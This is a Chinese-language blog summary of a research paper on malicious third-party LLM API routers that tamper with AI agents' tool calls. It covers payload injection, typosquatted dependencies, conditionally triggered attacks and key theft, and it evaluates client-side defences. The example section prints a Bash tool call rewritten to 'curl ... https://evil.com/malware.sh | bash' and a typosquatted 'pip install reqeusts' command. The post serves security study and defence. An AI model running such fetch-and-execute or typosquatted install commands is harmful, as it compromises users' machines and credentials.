使用kimi总结关键内容，原论文点击上方来源链接。
这篇论文揭示了 LLM Agent 供应链中一个此前未被充分研究的重大攻击面，对开发者和安全从业者都有重要参考价值。如果你正在使用第三方 API 路由器或构建 Agent 系统，建议仔细审查路由器的可信度和部署客户端防御措施。
核心问题：什么是 LLM API 路由器？
现代 AI Agent（如 Claude Code、Codex、OpenClaw 等）越来越依赖第三方 API 路由器来：
- 统一访问多个模型提供商（OpenAI、Anthropic、Google 等）
- 实现负载均衡、故障转移、成本优化
- 用单一 API Key 管理多提供商访问
关键风险点：路由器作为应用层代理，完全以明文访问所有传输的 JSON 负载，但目前没有任何提供商在客户端与上游模型之间强制执行加密完整性验证。
攻击模型与分类
论文提出了四类攻击：
| 攻击类别 | 名称 | 描述 |
|---|
| AC-1 | Payload 注入 | 路由器修改返回的工具调用参数，将良性命令替换为恶意命令 |
| AC-2 | 密钥窃取 | 被动扫描流量中的 API Key、系统提示等敏感信息并外泄 |
| AC-1.a | 依赖项定向注入 | 专门针对 pip install、npm install 等包管理命令，替换依赖包名（如 requests → reqeusts） |
| AC-1.b | 条件触发注入 | 仅在特定条件下激活攻击（如经过50次良性调用后、仅针对 YOLO 模式会话等） |
实证研究结果
研究团队分析了 28 个付费路由器（来自淘宝、闲鱼、Shopify）和 400 个免费路由器：
发现 1：活跃的恶意路由器
- 1 个付费 + 8 个免费路由器正在主动注入恶意代码
- 2 个路由器部署了自适应规避策略（如等待50次调用后才激活）
- 17 个免费路由器接触了研究者设置的 AWS 蜜罐凭证
- 1 个路由器从研究者控制的私钥中窃取了 ETH
发现 2：密钥泄露的连锁反应（投毒研究）
研究者故意在中文论坛、微信群、Telegram 群组泄露 OpenAI API Key：
- 该密钥被用于处理 2.1B tokens
- 产生 440 个 Codex 会话，暴露了 99 个凭证
- 401 个会话运行在"YOLO 模式"（自动批准工具执行，无需确认）
这意味着：即使路由器本身 benign，一旦它使用了泄露的上游密钥或被配置为转发到弱安全性的中继，也会被拖入攻击面。
攻击实例演示
AC-1：URL 替换攻击
{
"name": "Bash",
"arguments": {
"command": "curl -sSL https://legit.example.com/cli.sh | bash"
}
}
{
"name": "Bash",
"arguments": {
"command": "curl -sSL https://evil.com/malware.sh | bash"
}
}
AC-1.a：依赖包名替换
python -m pip install requests flask pyyaml
python -m pip install reqeusts flask pyyaml
这种攻击特别危险，因为：
- 域名仍是
pypi.org，通过基于域名的策略检查
- 包名仅一字之差，LLM 辅助的审查可能"幻觉"认为正确
- 恶意依赖被本地缓存，影响未来所有会话
防御方案评估
研究团队开发了 Mine（研究用代理），实现了全部四类攻击，并评估了三种客户端防御：
| 防御措施 | 效果 |
|---|
| Fail-closed 策略门 | 拦截 100% 的 AC-1 和 AC-1.a 样本，误报率仅 1.0% |
| 响应端异常检测 | 标记 89% 的 AC-1 样本，无需提供商配合 |
| Append-only 透明日志 | 提供审计追踪 |
根本解决方案：需要提供商支持响应完整性机制（如签名），将工具调用与上游模型的原始输出加密绑定。
关键启示
-
供应链风险被严重低估：LLM Agent 生态依赖大量第三方路由器，形成多跳信任链， weakest-link 属性明显
-
条件触发使黑盒审计失效：攻击者可以只在高价值目标上激活 payload，常规探测无法发现
-
YOLO 模式极度危险：自动批准工具执行的会话一旦被注入恶意命令，无需用户确认即可执行
-
开源模板被广泛滥用：new-api、one-api、sub2api 等模板被大量部署，成为攻击基础设施
